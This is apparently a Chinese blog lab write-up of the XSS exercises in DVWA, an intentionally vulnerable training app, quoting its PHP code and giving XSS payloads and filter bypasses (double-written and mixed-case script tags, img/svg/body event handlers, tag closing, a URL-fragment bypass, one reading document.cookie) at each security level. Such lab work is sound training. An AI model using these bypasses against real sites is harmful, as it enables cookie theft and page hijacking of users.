DVWA通过教程之XSS(Reflected),XSS(Stored),XSS(DOM)

(1)测试XSS(Reflected),要求在正常访问网页时弹出警告框。

low

前端代码:

服务器端核心代码:

分析:

可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。

漏洞利用

直接在输入框中输入:

<script>alert(/You are attacked by hacker!/)</script>

,成功弹框:

Medium

服务器端核心代码:

分析:

可以看到,这里对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入中的<script>替换为空字符串,相当于删除,这种防护机制是可以被轻松绕过的。(注释:该函数是区分大小写的。

漏洞利用

1.双写绕过-(原理:该函数只执行一次)

输入

<sc<script>ript>alert("You are attacked by hacker!")</script>

,成功弹框:

2.大小写混淆绕过-(原理:该函数是区分大小写的。

输入

<ScRipt>alert(/You are attacked by hacker!/)</script>

,成功弹框:

3.尝试使用别的标签来绕过

<body οnlοad=alert('s')>

<a href='' οnclick=alert('xss')>click</a>

<a href='' οnclick=alert(/ss/)>click</a>

 

High

服务器端核心代码:

可以看到,High级别的代码同样使用黑名单过滤输入,preg_replace()函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。

漏洞利用

虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。

输入

<img src=1 onerror=alert('Youareattackedbyhacker4!')>

,成功弹框:

PS:这里不知道为什么alert()函数里输入空格该代码会执行失效,我们可以查看一下前端代码的区别:

 

从空格开始,他们变成了元素,不知道是什么原因造成的,如果使用抓包工具Burpsuite 进行修改就不会出现这样的问题。

Impossible

服务器端核心代码:

分析:

Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素

预定义的字符是:

  • &:转换为&amp;
  • ":转换为&quot;
  • ':转换为成为 '
  • <:转换为&lt;
  • >:转换为&gt;

这里无法利用XSS漏洞。

(2)测试XSS(Stored),要求在正常访问网页时弹出警告框

提示:

我们在表单输入的信息会在表单下方显示,如果当我们测试XSS注入时,前面测试的结果会影响到后面的测试,我们只需点击“Clear Guestbook”按钮即可消除记录。

LOW

服务端源代码:

 <?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

相关函数介绍

trim(string,charlist)

函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。

mysql_real_escape_string(string,connection)

转义SQL语句中的特殊字符,函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。

stripslashes(string)

函数删除字符串中的反斜杠。

可以看到,对输入并没有做XSS方面的过滤与检查,且存储在数据库中,因此这里存在明显的存储型XSS漏洞,没有防御XSS漏洞,只防御了SQL注入漏洞

漏洞利用 

name和message一栏前端有字数限制,可以使用两种方法解决:

一种修改html里的maxlength标签把字数改大。

另一种是使用burpsuite进行抓包,抓包改为<script>alert('xss')</script>

这里演示第一种:

<script>alert('You have been attacked by hacker! ')</script>

成功弹框:

Medium

服务器端核心代码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

主要函数说明:

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用<b>标签。

addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。

可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了<script>字符串,仍然存在存储型的XSS。

1.双写绕过

抓包改name参数为<sc<script>ript>alert(/You have been attacked by liumengbo!/)</script>

2.大小写混淆绕过

抓包改name参数为<Script>alert('You have been attacked by hacker!')</script>

3.其他标签XSS注入

<body οnlοad=alert('xss')>

<a href='' οnclick=alert('xss')>click</a>

High

服务端代码:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

分析:

可以看到,在Medium的基础上,这里使用正则表达式过滤了<script>标签,但是却忽略了img、iframe等其它危险的标签,因此name参数依旧存在存储型XSS。

抓包改name参数为

<body οnlοad=alert('xss')>

<a href='' οnclick=alert('xss')>click</a>

<img src=1 οnerrοr=alert('Youhavebeenattackedbyhacker!')>   (注意:如果不使用抓包工具,直接在输入框XSS注入,那么字符串中不能有空格,有空格无法成功XSS注入,为什么?看前端页面代码:

)

Impossible

服务端源代码:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

分析源码可以看到,对两个参数都做了html实体转义,无法利用xss。但是要注意的是,如果htmlspecialchars函数使用不当,攻击者就可以通过编码的方式绕过函数进行XSS注入,尤其是

(3)测试XSS(DOM),要求在正常访问网页时弹出警告框

小知识扩充:

DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

可能触发DOM型XSS的属性:

document.referer 属性
window.name 属性
location 属性
innerHTML 属性
documen.write 属性

Low

服务端源码:

前端源代码:

双击红框中的代码:

从源代码可以看出,这里low级别的代码没有任何的保护性措施!

页面本意是叫我们选择默认的语言,但是对default参数没有进行任何的过滤

选择下拉列表内容,其值会赋给default再添加到url的末尾,再将其传给option标签的value节点,由于没有任何过滤,我们输入xss语句即可触发,例如:
?default=<script>alert(document.cookie)</script>

?default=English<script>alert(/xss/);</script>

Medium

服务端源代码:

可以看到,medium级别的代码先检查了default参数是否为空,如果不为空则将default等于获取到的default值。这里还使用了stripos 用于检测default值中是否有 <script  ,如果有的话,则将 ?default=English 。

很明显,这里过滤了 <script  (不区分大小写),那么我们可以使用<img  src=1  οnerrοr=('hacker')>

但是当我们访问URL:

?default=<img src=1 οnerrοr=alert('hacker')>

此时并没有弹出任何页面

我们查看网页源代码,发现我们的语句被插入到了value值中,但是并没有插入到option标签的值中,所以img标签并没有发起任何作用。

所以我们得先闭合前面的标签,我们构造语句闭合option标签:

 <option value='     " + lang + "      '>  "  + decodeURI(lang) +  "  </option>

构造:

?default=></option><img src=1 οnerrοr=alert('hacker')>

发现还是没有任何弹出框:

继续查看源代码,发现我们的语句中只有 > 被插入到了option标签的值中,因为</option>闭合了option标签,所以img标签并没有插入

于是我们继续构造语句去闭合select标签,这下我们的img标签就是独立的一条语句了

我们构造该链接:

?default= ></option></select><img src=1 οnerrοr=alert('hack')>    (注:>这个要不要无所谓,提交后,浏览器会自动加上)

或者:

?default= </option></select><img src=1 οnerrοr=alert('hacker')>

</option></select><svg οnlοad=alert("xss")> 

另类的方法:

既然是DOM型,这里不需要与服务端进行交互。
url中有一个字符#,该字符后的数据不会发送到服务器端,从而绕过。
构造:

?#default=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E

High

服务器源代码:

可以发现使用了白名单的思想,只允许French,English,German以及Spanish,这里先判断defalut值是否为空,如果不为空的话,再用switch语句进行匹配,如果匹配成功,则插入case字段的相应值,如果不匹配,则插入的是默认的值。
使用上文另类方法中的#号继续绕过服务端过滤即可。

?#default=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E

或者:

?default=English#<script>alert('xss')</script>

Impossible

服务端源代码:

也就是说:

浏览器一般都会对url中获取的内容进行编码,防止JavaScript注入

我们随意测试一下:

?default=<script>alert('xss')</script>

对比前面的代码缺少:

于是,我们发现语言框内的值是我们输入的参数的经过URL编码后的数据,那么查看源代码,发现这里对我们输入的参数并没有进行URL解码,所以我们输入的任何参数都是经过URL编码,然后直接赋值给option标签。所以,这里就不存在XSS漏洞了。

 

  • 3
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值